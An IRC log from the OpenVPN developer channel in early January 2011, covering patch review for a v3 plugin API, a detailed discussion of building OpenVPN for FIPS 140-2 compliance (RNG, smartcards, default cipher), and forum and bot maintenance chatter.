let's move on, shall we? 13:12 <@mattock> ... to leftovers: http://thread.gmane.org/gmane.network.openvpn.devel/4194 13:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:12 <@dazo> :) 13:13 <@cron2> ISTR I said last time that the code looks good and safe to me 13:13 <@cron2> (and I don't see myself actually *needing* that functionality, so I can't comment on whether we "want" to have this) 13:13 < jamesyonan> seems reasonable 13:14 <@dazo> This feature is needed in those cases where you use f.ex. --learn-address script hook ... which in TAP mode will get a MAC address or in TUN mode get an IP address 13:14 <@dazo> jamesyonan: so that's an ACK from you? 13:14 <@cron2> dazo: why not just name your devices "tunX" and "tapY" in the first place? 13:14 < jamesyonan> yes, I'm fine with it 13:14 <@dazo> cron2: some people want to be special :) 13:15 <@dazo> that's why we have --dev-type too, isn't it? 13:15 <@dazo> it might be platform specific too, for all what I know about 13:15 <@cron2> dazo: those people *could* just look at the address, a MAC look distinctly different :-) 13:16 <@cron2> IIRC, --dev-type is needed on windows where the driver is the same 13:16 <@dazo> cron2: true, but in other parts, it behaves differently too ... f.ex. --learn-address isn't called on client disconnects in tun mode, while it is on tap mode ... and if you have some other scripts or C plug-ins with more hooks enabled, you need to catch this 13:16 <@cron2> (--dev-node My Tap Driver, --dev-type tun) 13:16 <@dazo> yeah 13:17 <@cron2> but anyway, no objections from here, just rambling 13:17 <@dazo> :) 13:17 <@dazo> Thx! 13:17 <@dazo> next one? 13:17 <@mattock> yep: http://thread.gmane.org/gmane.network.openvpn.devel/4255 13:17 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:17 <@mattock> oh, a big one 13:17 <@dazo> v3 plugin API ... that's a bigger one 13:18 <@mattock> patch by patch from 1 to 4? 13:18 * cron2 abstains (I have seen the patches, but not looked closely) 13:18 <@cron2> ... and I need to leave now: $wife is hungry 13:18 <@dazo> yeah, unless all gets an ACK 13:18 <@dazo> cron2: enjoy! 13:18 <@mattock> typo in the first patch: "Aruguments used to transport..." 13:19 <@dazo> grrrr 13:19 <@mattock> twice 13:19 <@mattock> you've been copying and pasting? :) 13:19 <@dazo> never! :-P 13:19 <@mattock> thrice! 13:19 <@mattock> :D 13:19 < Essobi> Atleast he's consistent. 13:20 <@dazo> Okay, I'll fix those ones ... you want to see new patches? ;-) 13:20 <@dazo> lol 13:20 <@mattock> essobi: :) 13:20 <@mattock> jamesyonan: thoughts regarding patch #1? 13:21 <@dazo> They probably need to be seen as part of a complete set 13:21 <@dazo> at least the two first ones 13:21 < Essobi> Hey, whenever the meeting is over.. Can a few people stick around for a few questions regarding the FIPS 140-2 patches please? I'm getting close to wrapping up testing everything and need to verify a few things. 13:21 <@mattock> essobi: of course, or we can add them to agenda to make them "official" 13:22 < jamesyonan> Plugin API patch set looks fairly reasonable 13:22 < Essobi> mattock: Thats fine if you want to add them. I'm trying to locate any cryptographic code that isn't OpenSSL, so I can wrap them in configure --options. they have to be disabled to comply with FIPS 140-2. 13:23 <@dazo> jamesyonan: something you would like differently? 13:23 < jamesyonan> Essobi: yes, I will be around 13:24 <@mattock> essobi: added to "Patches" section: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-06 13:24 <@vpnHelper> Title: Topics-2011-01-06 – OpenVPN Community (at community.openvpn.net) 13:26 < jamesyonan> dazo: how do you version the new struct you are adding for communication with the plugin? 13:27 <@dazo> it uses the OPENVPN_PLUGIN_VERSION ... and it should be an argument to the openvpn_plugin_{open,func}_v3() functions 13:28 <@dazo> I took that out of the struct and as an explicit argument to those functions, to be able to check version without looking inside the struct 13:28 <@dazo> ... and _added_ as an expl.... 13:29 < Essobi> mattock: Thanks. 13:29 < jamesyonan> dazo: if I add a new member to the struct, does that mean that I have to increment OPENVPN_PLUGIN_VERSION? 13:29 <@dazo> yes, that was the conclusion we ended up with last time 13:30 <@dazo> I added a different constant for that, but was asked to use OPENVPN_PLUGIN_VERSION instead 13:30 <@dazo> But I can change that, if you want 13:30 < jamesyonan> usually what people do for structure versioning in C is that they put an "int version" at the head of the structure 13:31 <@dazo> Yeah, I know ... but I didn't see what that would benefit more than passing it as a function argument 13:32 <@dazo> as the plug-in is compiled against version X ... and OpenVPN against version Y ... it still needs to read that variable and decide what to do 13:33 < jamesyonan> I guess the question is -- should the structure versioning be different from the OPENVPN_PLUGIN_VERSION 13:33 <@dazo> My initial patch did differentiate that, as I thought that would be cleaner. But I'm not sure if it makes sense or not to differentiate it or not 13:34 < jamesyonan> i.e. if I add a new member to structure, and this requires incrementing OPENVPN_PLUGIN_VERSION, will this have side effects 13:34 <@dazo> yes, agreed 13:35 <@dazo> I can add a 5 patch to this patch-set, where I will re-add another constant, and set it to 1 ... and pass that one as the *_v3 plugin arguments 13:35 <@dazo> (man I write horrible today ... 5th patch) 13:35 < jamesyonan> yes, I think that makes sense 13:36 <@dazo> Okay, I'll fix that soon and send it to this mailing thread ... and we can discuss it again next week 13:37 <@mattock> essobi's patches now? 13:37 <@dazo> I need to go very very soon ... but I believe james is probably better suited for the FIPS stuff anyway 13:37 < jamesyonan> yes, I can stick around for this 13:38 <@mattock> excellent! 13:40 <@dazo> c'ya! thx for a good meeting! 13:40 < Essobi> Okay, so to meet compliance you need a very specific build of openssl FIPS. I've wrote a shell script to assist with this, and I'm going to write up a white paper on the full details of how to do it by hand and to use the script, and how to docuement whats needed to meet compliance. 13:41 < Essobi> Outside of that, I have to patch up ssl.c to meet compliance. 13:42 < Essobi> The patch to ssl.c thus far is very small, but I need to locate any cryptographic code that is called in openvpn natively, so I can wrap configure options around them to disable them. 13:42 < jamesyonan> cryptographic code should only be called from ssl.c and crypto.c 13:42 < Essobi> One of the requirements to using the FIPS module and maintain compliance, is no cryptography code can be used inside the native application you're extending compliance to. It has to be in the module only. 13:43 < jamesyonan> what's the definition of cryptographic code? 13:43 < Essobi> jamesyonan: Okay, I'll check out crypto.c.. Someone gave me the impression there was more somewhere else. 13:43 < jamesyonan> code that is actually doing crypto, or code that is calling OpenSSL to do crypto? 13:44 < Essobi> Code that is doing actual encryption/decryption. 13:44 < Essobi> outside of the module. 13:44 < jamesyonan> also, is random number generation considered to be crypto? 13:44 < jamesyonan> nothing in openvpn does crypto directly 13:45 < Essobi> The RNG is part of the spec, but so long as it meets the RNG requirements set fourth, it's usable. it's not part of openssl per se but they require it meet certain requirements. 13:45 -!- dazo is now known as dazo_afk 13:45 < Essobi> jamesyonan: I was under the impression there was some NTLM legacy code for firewall traversal. 13:45 < Essobi> jamesyonan: But was unable to locate it, hence why I'm asking here. :) 13:46 < Essobi> So.. If anyone can think of any encryption/decryption/salts/digests/etc that is done without openssl.. Please let me know. :) 13:46 < jamesyonan> you can take a look at ntlm.c 13:46 < Essobi> Roger that. 13:47 < jamesyonan> it's doing some fairly low-level protocol construction, but I don't know that it would constitute "crypto" 13:48 < jamesyonan> there is also cryptoapi.c and pkcs11.c that abstracts the RSA object so that RSA signing operations are done externally 13:48 < jamesyonan> this is needed when the TLS private key is non-local 13:48 < Essobi> I'd say no. I believe it specifically applies to any cryptographical methods that 1. could be implemented by openssl, but the app is doing itself, or anything that is using a cypher that isn't available to the FIPS compliance as it's considered insecure. 13:49 < Essobi> jamesyonan: http://www.openssl.org/docs/fips/SecurityPolicy-1.2.pdf that's the currect security policy regarding using the openssl crypto libs 13:49 < Essobi> openssl FIPS object module, even. 13:50 < Essobi> 4.5 specifically outlines what's allowed 13:51 < Essobi> Hmm. for cryptographic algos 13:53 < Essobi> jamesyonan: I'll have to take a look at the pkcs abstraction isn't breaking the policy agreement, but if I understand what you're saying, that may be disallowed completely by the security policy. 13:54 < jamesyonan> well the issue with pkcs11 is that offloading RSA operations is essential for smart-cards and similar tech 13:56 < Essobi> Right from what I've gathered FIPS 140-2 and Smart-cards may be mutually exclusive of each other. 13:56 < jamesyonan> I'm not as familiar with the pkcs11 code, but the basic idea is that you are overloading the RSA_sign method, and having an external agent (such as a smartcard) do the actual signing 13:56 < Essobi> unfortunately the spec is pretty near-sighted, and didn't take much in the future into account. 13:57 < Essobi> They're working on a re-draft in the near future I understand. 13:57 <@mattock> I assume you guys will be ok if I leave? 13:57 <@mattock> I'll write a summary tomorrow and sent it to openvpn-devel 13:57 < Essobi> I don't see why not. 13:57 < Essobi> Thanks. 13:58 < jamesyonan> Essobi: are you saying that FIPS 140-2 allows smartcards? 13:58 < Essobi> jamesyonan: I'll see if there's any open petitions/RFCs out for the next 140-2 draft, and request smart cards get in there. 13:59 < Essobi> jamesyonan: It does if it's part of the openssl specific framework. 13:59 < Essobi> jamesyonan: Otherwise, it won't work. 13:59 < jamesyonan> it's kind of hard to believe that it would disallow smart cards, because they are extensively used in federal gov. 14:00 < Essobi> 140-2 was drafted long ago. ;) 14:00 < Essobi> It's up for re-draft in the next year of two, iirc 14:01 < Essobi> First publish was 2001, and I believe they started on it in 1998. 14:02 < Essobi> Now.. Here's the thing, if the openSSL crpyto module can support it, and that version gets verified, it's usable via the openssl calls. 14:03 < Essobi> It's scary when you see the list of credentials and alphabet soup agencies that worked on this draft, and how narrow-minded some of it was done. 14:03 < jamesyonan> I'm thinking that there must be a policy interpretation that support it, because we know that (a) the fed gov is a huge user of smartcards, and (b) the fed gov would require FIPS compliance 14:05 < Essobi> jamesyonan: It's not against ALL of the policies. Just the OpenSSL FIPS 140-2 module. 14:05 < Essobi> that version (0.9.8 forked between f and j) didn't support loading the RSA sign from a smartcard. 14:05 < Essobi> and you're calling it outside of the module. 14:06 < Essobi> Now there might be a version of NSS, or someother crypto lib that got FIPS compliance 14:06 < Essobi> You can however, take a FIPS compliant crypto accel that is supported in that version of openssl, and use it and the net result is still compliant. 14:07 < jamesyonan> I see -- so you're saying the openssl FIPS 140-2 fork doesn't even include the capability to overload RSA sign? 14:07 < Essobi> So that's the thing.. if openssl gets smartcard support that works the same way, it tells me that a solution is available, but.. it take about US $50K-80K and 3 years to get a version of anything with FIPS 140-2 compliance. 14:08 < Essobi> jamesyonan: I'll double check, but from what I understand, it's chopped down a lot. 14:09 < jamesyonan> how does the FIPS openssl branch deal with security issues that require patches? 14:09 < Essobi> jamesyonan: Also to note.. once 140-2 mode is enabled, if you make a openssl function call that isn't supported, the module it aborts everything, so testing could be potentially easy if you have someone who'd be willing to let me break their box. :) 14:09 < Essobi> jamesyonan: If it's something that appliess to it, they get an emergency review patch. 14:10 < Essobi> Major code changes are required to be re-certified. 14:11 < jamesyonan> does this really happen in practice? -- I've seen many critical openssl patches that were not accompanied by a revised FIPS package 14:11 < Essobi> so 1.0 is up in the works.. OSSI is trying to get the funding up for 1.0 but a lot of the commercial supports withdrew their monetary donations. 14:11 < Essobi> There's been 4-5 revisions now to the 0.9.8 14:12 < Essobi> but to be honest, FIPS 140-2 is always behind 14:12 < Essobi> Off the record, I think it's a scam in a lot of ways. 14:12 < Essobi> But at the same time, they require some things no one else does. 14:13 < Essobi> For instance, it retests the RNG during runtime to confirm it hasn't been tainted after the startup check is performed. 14:14 < Essobi> It also verifies a hash of the .so at startup to prevent ld preload rootkits 14:14 < jamesyonan> this is really the achilles heel though -- even if critical FIPS 140-2 patches are released a day late, that could be catastrophic from a security perspective 14:14 < Essobi> And verifies the signature in memory so that the module's contents can't be modified. 14:14 < Essobi> jamesyonan: I'm not argueing that, believe me. 14:15 < Essobi> jamesyonan: They concentrated on a few particular things regarding the cryptography, and left the protocols out flapping in the wind. 14:16 < jamesyonan> starting to sound like security theater 14:16 < Essobi> Well.. Tell the Feds that. ;) 14:16 < Essobi> Unfortunately ALL of the FIPS 140-2's have to play by those rules. 14:17 < jamesyonan> verifying the .so hash isn't going to stop someone from reading /dev/kmem 14:17 < Essobi> Windows, Android, RedHats, and OpenSSL's stacks all are stuck in the same boat with FIPS 140-2. 14:18 < Essobi> jamesyonan: GDB/strace/ktrace/ptrace/kmem are all disallowed. 14:18 < Essobi> *EYE ROLL* 14:18 < Essobi> I know. 14:18 < Essobi> There's even an EMF/EMI standard you can get under 140-2. 14:19 < Essobi> ... I didn't think there was much Van Eck phreaking going on still.. hehe. 14:19 < Essobi> and seriously.. If I've got gear good enough to read your memory, remotely, you've got bigger problems. 14:20 < Essobi> jamesyonan: Red hat took it one step further and requires you to run the box in single-user mode, with a slightly modified initd to run your app. 14:22 < jamesyonan> anyway, let's get back to the build discussion 14:23 < jamesyonan> re: RND -- see the prng_bytes function in crypto.c -- this is used for explicit IV generation 14:24 < Essobi> Okay.. IV? 14:24 < jamesyonan> this can be trivially modified to proxy RAND_bytes if needed for compliance 14:24 < Essobi> here's what the spec states 14:24 < Essobi> The Module supports generation of DH, DSA, and RSA public­private key pairs. The Module employs an ANSI X9.31 compliant random number generator for creation of asymmetric and symmetric keys. 14:25 < Essobi> The developer shall use entropy sources that contain at least 128 bits of entropy to seed the RNG as the module is not capable of detecting randomness or quality of the seeding material provided. 14:25 < Essobi> So long as the seeding is compliant I believe, that's fine. 14:27 < jamesyonan> yes, it's seeded from RAND_bytes 14:28 < Essobi> ah, yes, I see it. 14:29 < Essobi> so long as 128 bits are passed back that will suffice 14:30 < Essobi> I'm pulling up the docs on the function now.. I'll review them and make sure those all meet spec. 14:34 < Essobi> So it would appear that function requires explicitly that the PRNG provide the entropy. I believe those are all seeded from the OS level. 14:35 < jamesyonan> yes 14:36 < Essobi> PRNG is testest at startup, and during run-time of the module. Seeding it will obviously be outside of OpenVPN. I'll document how to make sure you're seed is random enough. 14:36 < Essobi> tested, even 14:37 < Essobi> Hmm.. Any other points of interest you can think of? I'd like to get the patch finished and put together before next weeks meeting, and see if anyone has a problem with them. 14:38 < jamesyonan> do you have a draft of the patch online yet? 14:39 < jamesyonan> I think we've discussed all the places in the code where crypto or RND functionality is touched 14:41 < Essobi> I havn't posted it yet. online yet.. 14:41 < Essobi> Initing the openssl functionality it really trivial. 14:42 < Essobi> It's literally... 14:43 < Essobi> OPENSSL_init(); if (FIPS_mode_set(1)) {fputs("FIPS mode enabled\n",stderr);} 14:44 < Essobi> So I need to write up the configure wrappers to enable that block and an else exit(); 14:45 < jamesyonan> do you need to change the default cipher/MAC? 14:47 < Essobi> I'm not sure. 14:48 < Essobi> Is that an openssl init option or are you referring to a openvpn specific config option? 14:48 < jamesyonan> have you actually built openvpn client/server and connected them up using FIPS module? 14:48 < Essobi> Yes. 14:49 < jamesyonan> because openvpn uses blowfish as its default cipher -- does FIPS 140-2 support this? 14:49 < Essobi> Using a config I had laying around.. It's was wrote by a predecessor of mine, so likely he wrote it to use what met the spec. 14:50 < Essobi> No, blowfish isn't FIPS-approved 14:51 < Essobi> Any unapproved modules called once you're in FIPS mode, error out. 14:51 < jamesyonan> that's what I guessed -- so you would need to use AES or something else 14:51 < Essobi> I suppose it would be better to change the defaults once FIPS is enabled. 14:52 < Essobi> Where are the defaults defined? 14:52 < jamesyonan> options.c: o->ciphername = "BF-CBC"; 14:52 < Essobi> I'll include that in the patch set. 15:13 < Essobi> jamesyonan: Well.. Unless you can think of anything else, I'm going to go start putting this patch together. 15:13 < Essobi> jamesyonan: Thanks for all your help. 15:13 < jamesyonan> sure thing 15:13 < Essobi> jamesyonan: I've got a good outline of what I need to finish up now. 15:25 < Essobi> Thanks again everyone. 15:38 < Essobi> jamesyonan: AES-256-CBC is supported. 15:38 < jamesyonan> yes, that makes sense as a good default 15:39 -!- s7r [~s7r@213.229.87.31] has left #openvpn-devel [] 15:55 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:55 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:01 <+krzie> mattock, earlier you asked why the forum wasnt working... but if i knew ild fix it ;] 20:01 <+krzie> what i know is what i told you before 20:01 <+krzie> [21:40] <vpnHelper> RSS Update - forum: android-openvpn-settings <http://forums.openvpn.net/topic7481.html> 20:01 <@vpnHelper> Title: OpenVPN Support Forum android-openvpn-settings : Server Administration (at forums.openvpn.net) 20:01 <+krzie> i click that link 20:01 <+krzie> when i hit reply it wants me to login 20:01 <+krzie> when i do, it redirects me to index 20:02 <+krzie> so i click the link again, it wants me to login again 20:02 <+krzie> i have this same problem from 2 locations 20:17 <+krzie> on both safari and opera 20:18 <+krzie> it has been since you changed how the links work 20:18 <+krzie> like topic7481.html instead of how they were 20:18 <+krzie> !wishlist 20:18 <@vpnHelper> "wishlist" is https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 20:18 <+krzie> like that 20:19 <+krzie> ohhh i may have found it 20:20 <+krzie> the cookies are for https, vpnhelper's rss spits out http:// 22:27 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:43 < Essobi> Does disable-pkcs11 shut off smartcard support? 22:43 < Essobi> krzie: Hey.. feeling any better? 23:32 < Essobi> Hmmm... I don't think there is a configure --disable-smartcards 23:32 < Essobi> :\ 23:32 < Essobi> is it a config time option? --- Day changed Fri Jan 07 2011 00:16 <+krzie> just coughed up blood =/ 00:16 <+krzie> purely because i have been coughing so hard for so long 01:24 < ecrist> pssssh 01:31 <+krzie> (he asked how i was feeling) 01:42 -!- dazo_afk is now known as dazo 02:09 < Essobi> krzie: jeez man.. Get that neb? get something for cough suppressant too. :( 02:23 <+krzie> ya ive been using the neb 02:23 <+krzie> cough suppressant would have a chance of killing me ;] 02:24 <+krzie> its extremely important (especially with a history of asthma like mine) to cough the stuff out 02:25 <+krzie> im considering taking an inhaled steroid like clenil tho... i may pick one up tomorrow 02:26 <+krzie> they are good for bringing down the inflamation, and dont counter-act the anti-biotics 02:26 <+krzie> what sucks is that if i was back home in california some weed would actually help me 02:27 <+krzie> but where i am now, the weed is crap and would do more harm than good 02:42 < phessler> have you tried tea with honey? 02:44 <+krzie> whoa, my gf suggested that today, no i havnt yet but she says it'll heklp my throat 02:44 <+krzie> help* 02:44 * krzie wonders why im +v in here 02:47 -!- dazo is now known as dazo_afk 02:50 < phessler> lots of singers use it for sore throat, I imagine it would help in this situation as well 02:57 <+krzie> thx, i will check that out tomorrow 03:00 -!- dazo_afk is now known as dazo 03:25 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 276 seconds] 03:27 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 04:04 -!- venom00ut [~wer@unaffiliated/venom00] has joined #openvpn-devel 04:05 -!- venom00ut [~wer@unaffiliated/venom00] has left #openvpn-devel [] 04:39 -!- common- [~common@p5DDA4728.dip0.t-ipconnect.de] has joined #openvpn-devel 04:43 -!- common [~common@p5DDA489C.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds] 04:43 -!- common- is now known as common 04:50 -!- dazo is now known as dazo_afk 05:04 -!- dazo_afk is now known as dazo 05:28 <@mattock> dazo: please don't merge any of my buildsystem patches yet... moving of openvpnserv.exe building into a separate makefile will affect quite a few of them 05:28 <@mattock> as suggested by James yesterday 05:28 <@dazo> mattock: ahh! Cool! Then I'll hold the horses :) 05:29 <@dazo> cron2: would you have time to help out sometime soon with some merge conflicts with tun.c between feat_misc and allmerged? 05:29 <@dazo> It's a bigger merge conflict, but I see some parts touching the IPv6 code paths, so I'm wondering what's the correct approach ... I can pastebin the conflict when you're ready 05:30 <@dazo> (not so suitable for me today) 05:51 -!- dazo is now known as dazo_afk 06:05 -!- dazo_afk is now known as dazo 06:36 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 06:36 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:36 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:37 <@cron2> dazo: yes, of course. I think most of the problem is "Solaris tap" vs. "ipv6 tun" 06:37 <@cron2> and that's on my plate anyway 06:37 <@cron2> can you just send the merge conflict my way by mail? 06:37 <@cron2> (I don't have much time today either, but will look at it ASAP) 06:39 <@dazo> cron2: will do ... I have the conflict "prepared" on my computer at home, so I'll mail it tomorrow (company party this evening) 06:39 <@dazo> I think you're pretty much spot-on when it comes to the conflict itself 06:39 -!- dazo is now known as dazo_mtg 06:44 -!- s7r [~s7r@89.238.173.233] has joined #openvpn-devel 07:20 <@mattock> krzie: try changing http to https 07:20 <@mattock> fixed the issue for me 07:20 <@mattock> I'm not sure why http is enabled in the first place... 07:21 <@mattock> ok, you noticed the same :) 07:21 <@mattock> vpnhelper is to blame :) 08:03 -!- raomin [~romain@86.66.22.240] has quit [Ping timeout: 240 seconds] 08:17 -!- raomin [~romain@86.66.22.250] has joined #openvpn-devel 08:40 -!- raomin [~romain@86.66.22.250] has quit [Remote host closed the connection] 09:29 -!- dazo_mtg is now known as dazo 09:31 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 09:46 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 10:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:30 <+krzie> mattock, the RSS is to blame ;] 10:31 <@mattock> :d 10:31 <@mattock> vpnhelper: sorry :) 10:31 -!- dazo is now known as dazo_afk 10:42 < ecrist> krzie: we were having issues with google indexing on a pure https site. I may have that fixed now, but have never disabled http, which would solve the RSS issue. 10:43 < ecrist> you are +v because of your host cloak. I made everyone with an openvpn cloak +v in here, so we could easily identify team members. +v, imho, is better than +o for everyone. I like +o for actual developers. 10:44 < ecrist> that change was implemented about 3 weeks ago, and you probably only got it recently due to a reconnect 10:44 < ecrist> which is why I don't have it. 10:45 <+krzie> ahh, i had thought that could be why, until i saw you without it 10:45 <+krzie> you havnt rejoined in 3 weeks? 10:52 <+krzie> hey ecrist 10:52 <+krzie> when you identify to vpnHelper does it realize you are you? 10:52 <+krzie> or does it think you are support still 10:52 <+krzie> (whoami) 10:53 < ecrist> I think I got that fixed, too 10:53 < ecrist> I changed the ordering of users 10:53 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 10:55 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:55 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 11:00 <+krzie> grr 11:01 <+krzie> when i manually add a hostmask to me in userfile, it removes everyone except corp/developers /support 11:01 <+krzie> (i backed it up tho) 11:03 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:03 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:03 < ecrist> !whoami 11:03 <@vpnHelper> support 11:04 <+krzie> ahh my error was 11:04 <+krzie> ValueError: Extra format chars in format spec: "Hostmasks for %s collided with another user's. Resetting hostmasks for %s." 11:04 <+krzie> even tho mine was more specific 11:04 <+krzie> (its back to how it was) 11:05 <+krzie> try to identify first 11:05 <+krzie> you *should* be support until you identify 11:07 <+krzie> INFO 2011-01-07T11:06:47 identify called by 11:07 <+krzie> "krzie!~k@openvpn/community/support/krzee". 11:07 <+krzie> !whoami 11:07 <@vpnHelper> support 11:11 < ecrist> !whoami 11:11 <@vpnHelper> support 11:11 < ecrist> :( 11:24 < Essobi> Hmm. Mkay, make check is broken when I enable fips. 11:40 < Essobi> htf do you debug make... 11:42 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:53 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:02 < Essobi> Ah 12:26 <+krzie> ecrist, arent we the only 2 with @community/support anyways? 12:28 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 12:28 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:31 < ecrist> no 12:31 < ecrist> there are 4 or 5 of us 12:35 < ecrist> to be honest, krzie, I wouldn't mind just having the support user in there, most of the real config I do is in the file itself these days 12:40 <+krzie> i cant op myself and whatnot this way 12:40 <+krzie> i noticed when i tried to devoice myself in here ;] 12:41 < ecrist> you're doing it wrong 12:41 < ecrist> use chanserv 12:41 < ecrist> /msg chanserv devoice #openvpn-devel krzie 12:41 -!- mode/#openvpn-devel [-v krzie] by ChanServ 12:41 < krzie> i have permissions here? 12:41 < ecrist> yeah 12:42 < krzie> i just assumed i didnt, lol 12:42 < ecrist> same as in main channel 12:42 < krzie> gotchya 12:42 -!- mode/#openvpn-devel [-v krzee] by ChanServ 12:42 < ecrist> /msg chanserv access #openvpn-devel list 13:04 -!- s7r [~s7r@89.238.173.233] has quit [Ping timeout: 265 seconds] 13:16 < Essobi> aha 13:17 < Essobi> ./openvpn --genkey --secret static.key breaks when using FIPS. 13:17 < Essobi> ecrist: You aware of any enable/disable options wrapped around the smartcard support? 13:19 * krzie points out that james is here 13:20 < Essobi> ;) 13:20 < Essobi> I think I pestered him enough yesterday. ;) 13:23 < ecrist> Essobi: I'm not aware of any 13:52 < Essobi> ecrist: Yea, I don't see any either.. Overloading the openssl operators to highjack that is disallowed in the FIPS 140-2 security policy 13:53 < Essobi> I guess, I'll have to figure out how far that rabbit hole goes and wrap that in a configure option too 13:53 < ecrist> heh 14:13 < Essobi> Oh, right.. and where do the ciphers that show up in ./openvpn --show-ciphers get defined? 14:26 < krzie> openssl 14:30 < krzie> if 2 sides dont have the same openssl you will see different --show-ciphers output 14:30 < krzie> (or you might...) 14:32 < krzie> as in you will if they suppoert different stuff 14:45 < Essobi> Ah, right. 15:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 15:23 < Essobi> Hmm.. Yea, it would appear that when FIPS mode is enabled, the openSSL cli still reports ciphers that are disallowed. If you try to use them, all hell breaks loose. 17:24 -!- s7r [~s7r@89.238.173.233] has joined #openvpn-devel 18:17 < krzie> heres a dev question 18:17 < krzie> https://forums.openvpn.net/topic7335.html 18:17 <@vpnHelper> Title: OpenVPN Support Forum local parameter is not working in client mode : Server Administration (at forums.openvpn.net) 18:42 -!- s7r [~s7r@89.238.173.233] has left #openvpn-devel [] 20:27 -!- patelx [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 250 seconds] 20:31 -!- patelx [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 20:51 -!- patelx [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Changing host] 20:51 -!- patelx [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 20:51 -!- mode/#openvpn-devel [+o patelx] by ChanServ --- Day changed Sat Jan 08 2011 01:12 < krzie> on the forum, the administrate user link is broken 01:25 < krzie> https://forums.openvpn.net/topic7437.html 01:25 <@vpnHelper> Title: OpenVPN Support Forum logout - dead link : Forum & Website Support (at forums.openvpn.net) 02:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:50 -!- s7r [~s7r@95.154.230.251] has joined #openvpn-devel 04:09 <@cron2> dazo: no idea where the conflicts in socket.c are coming from 04:10 <@cron2> dazo: the print_sockaddr_ex() changes look somewhat like jjo - my changes just introduce three completely new functions, but do not change anything 04:11 <@cron2> oh 04:11 * cron2 knows 04:11 <@cron2> I think this is "dazo's mutex cleanup" colliding with jjo 04:12 <@cron2> dazo: I'll handle tun.c, though 04:44 -!- common [~common@p5DDA4728.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:45 -!- common [~common@p5DDA41E4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:29 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 06:29 -!- reiffert [~thomas@mail.reifferscheid.org] has left #openvpn-devel [] 07:50 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:50 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 09:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 246 seconds] 10:51 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:52 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:51 -!- n1xus3r [~aaron@CPE000d88382326-CM0012256eb04c.cpe.net.cable.rogers.com] has joined #openvpn-devel 13:25 -!- Netsplit *.net <-> *.split quits: @d303k 13:26 -!- Netsplit over, joins: @d303k 13:36 -!- n1xus3r [~aaron@CPE000d88382326-CM0012256eb04c.cpe.net.cable.rogers.com] has quit [Quit: n1xus3r] 20:07 -!- s7r [~s7r@95.154.230.251] has left #openvpn-devel [] 23:19 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 264 seconds] 23:31 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sun Jan 09 2011 01:07 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 264 seconds] 01:11 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 01:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 260 seconds] 02:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 03:52 